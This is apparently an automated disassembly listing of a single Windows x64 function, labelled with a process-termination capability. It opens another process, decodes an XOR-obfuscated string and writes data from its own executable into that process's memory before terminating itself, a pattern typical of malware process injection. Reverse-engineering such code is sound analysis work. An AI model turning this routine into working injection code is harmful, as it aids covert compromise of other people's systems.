Function at 0x14005bbe0
Capabilities:
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x218]
sub rsp, 0x2f0
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x1400da180]
xor rax, rsp
mov qword [rbp + 0x1d0], rax
xor r12d, r12d
mov dword [rsp + 0x30], r12d
mov r8d, dword [0x1400f23b8]
xor edx, edx
mov ecx, 0x430
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r15, rax
test rax, rax
je 0x14005c13e
mov r8d, 0x104
lea rdx, [rbp + 0xc0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xorps xmm0, xmm0
movups xmmword [rbp + 0xa0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xb0], xmm1
lea rax, [rbp + 0xc0]
mov rsi, 0xffffffffffffffff
mov r8, rsi
nop
inc r8
cmp byte [rax + r8], r12b
jne 0x14005bc80
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0xa0]
call fcn.140004580
nop
xor edx, edx
mov r8d, 0x110
lea rcx, [rsp + 0x40]
call sub.VCRUNTIME140.dll_memset
lea rbx, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 0xf
cmova rbx, qword [rbp + 0xa0]
lea rax, [0x1400b98f8]
mov qword [rsp + 0x40], rax
lea rcx, [rbp - 0x10]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rsp + 0x30], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rsp + 0x40]
movsxd rcx, dword [rax + 4]
lea r13, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x40], r13
mov rax, qword [rsp + 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x3c], edx
lea rcx, [rsp + 0x50]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rsp + 0x50], rax
mov byte [rbp - 0x34], 0
mov byte [rbp - 0x3f], 0
lea rcx, [rsp + 0x50]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rbp - 0x30], r12
mov rax, qword [0x1400f33b8]
mov qword [rbp - 0x3c], rax
mov qword [rbp - 0x48], r12
mov rdx, rbx
lea rcx, [rsp + 0x50]
call fcn.140008cd0
test rax, rax
jne 0x14005bd92
mov rax, qword [rsp + 0x40]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x40]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rax, qword [rsp + 0x40]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x40], r13
mov rax, qword [rsp + 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x3c], edx
mov rax, qword [rsp + 0x40]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x40]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
test al, al
je 0x14005bddc
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14005c0b9
mov qword [rbp + 0x80], r12
mov word [rbp + 0x88], 1
mov rax, qword [rsp + 0x40]
movsxd rcx, dword [rax + 4]
mov rcx, qword [rbp + rcx - 0x78]
mov qword [rbp + 0x50], rcx
test rcx, rcx
sete byte [rbp + 0x58]
mov byte [rbp + 0x59], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x60], xmm0
mov qword [rbp + 0x70], r12
mov qword [rbp + 0x78], r12
movaps xmm0, xmmword [rbp + 0x50]
movaps xmmword [rbp + 0x50], xmm0
movaps xmm6, xmmword [rbp + 0x80]
test rcx, rcx
je 0x14005be59
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::sgetc_void____ptr64]
cmp eax, 0xffffffff
je 0x14005be48
mov byte [rbp + 0x59], al
mov rax, qword [rbp + 0x50]
mov byte [rbp + 0x58], 1
movaps xmm0, xmmword [rbp + 0x50]
jmp 0x14005be5e
mov rax, r12
mov qword [rbp + 0x50], rax
mov byte [rbp + 0x58], 1
movaps xmm0, xmmword [rbp + 0x50]
jmp 0x14005be5e
movq rax, xmm0
test rax, rax
movq rax, xmm6
jne 0x14005c044
test rax, rax
je 0x14005c04d
movdqa xmmword [rbp + 0x80], xmm6
movdqa xmmword [rbp + 0x50], xmm0
lea r8, [rbp + 0x80]
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x60]
call fcn.14005c420
nop
lea rcx, [rsp + 0x50]
call fcn.140004390
test rax, rax
jne 0x14005bec4
mov rax, qword [rsp + 0x40]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x40]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov byte [rbp + 0x50], 0x2c
mov al, reloc.WS2_32.dll_WSAGetLastError
mov cl, 0x63
mov dl, 0x7e
movzx r8d, dl
mov r9b, 0x79
mov r10b, 0x7c
mov r11b, 0x78
mov bl, 0x69
mov dil, 0x68
xor r14d, r14d
xor al, 0x2c
mov byte [rbp + 0x51], al
xor cl, 0x2c
mov byte [rbp + 0x52], cl
xor dl, 0x2c
mov byte [rbp + 0x53], dl
xor r8b, 0x2c
mov byte [rbp + 0x54], r8b
xor r9b, 0x2c
mov byte [rbp + 0x55], r9b
xor r10b, 0x2c
mov byte [rbp + 0x56], r10b
xor r11b, 0x2c
mov byte [rbp + 0x57], r11b
xor bl, 0x2c
mov byte [rbp + 0x58], bl
xor dil, 0x2c
mov byte [rbp + 0x59], dil
mov byte [rbp + 0x5a], r14b
xorps xmm0, xmm0
movups xmmword [rbp + 0x80], xmm0
mov qword [rbp + 0x90], r12
mov qword [rbp + 0x98], r12
lea rax, [rbp + 0x51]
inc rsi
cmp byte [rax + rsi], r14b
jne 0x14005bf42
mov r8, rsi
lea rdx, [rbp + 0x51]
lea rcx, [rbp + 0x80]
call fcn.140004580
mov rsi, qword [rbp + 0x98]
mov rdi, qword [rbp + 0x80]
mov r14, qword [rbp + 0x70]
mov r8, qword [rbp + 0x90]
cmp r14, r8
jb 0x14005c009
mov rdx, r12
test r8, r8
je 0x14005bfc0
nop dword [rax + rax]
lea rax, [rbp + 0x80]
cmp rsi, 0xf
cmova rax, rdi
movzx ecx, byte [rax + rdx]
lea rax, [rbp + 0x60]
cmp qword [rbp + 0x78], 0xf
cmova rax, qword [rbp + 0x60]
mov byte [rax + rdx], cl
inc rdx
cmp rdx, r8
jb 0x14005bf90
mov r14, qword [rbp + 0x70]
lea rbx, [rbp + 0x60]
cmp qword [rbp + 0x78], 0xf
cmova rbx, qword [rbp + 0x60]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rcx, [rbp + 0x50]
mov qword [rsp + 0x20], rcx
mov r9, r14
mov r8, rbx
mov rdx, rax
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14005c009
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 1
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp rsi, 0xf
jbe 0x14005c06b
lea rdx, [rsi + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x14005c062
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005c062
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
test rax, rax
je 0x14005be75
mov qword [rbp + 0x70], r12
mov qword [rbp + 0x78], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x60], 0
jmp 0x14005be97
mov rcx, rdi
call fcn.1400aa63c
nop
mov rdx, qword [rbp + 0x78]
cmp rdx, 0xf
jbe 0x14005c0a9
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005c0a4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005c0a4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400aa63c
mov qword [rbp + 0x70], r12
mov qword [rbp + 0x78], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x60], 0
mov rax, qword [rsp + 0x40]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x40], r13
mov rax, qword [rsp + 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x3c], edx
lea rcx, [rsp + 0x50]
call fcn.1400040b0
lea rcx, [rsp + 0x58]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp - 0x10]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0xf
jbe 0x14005c13e
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005c139
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005c139
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400aa63c
mov rcx, qword [rbp + 0x1d0]
xor rcx, rsp
call fcn.1400aa5e0
lea r11, [rsp + 0x2f0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret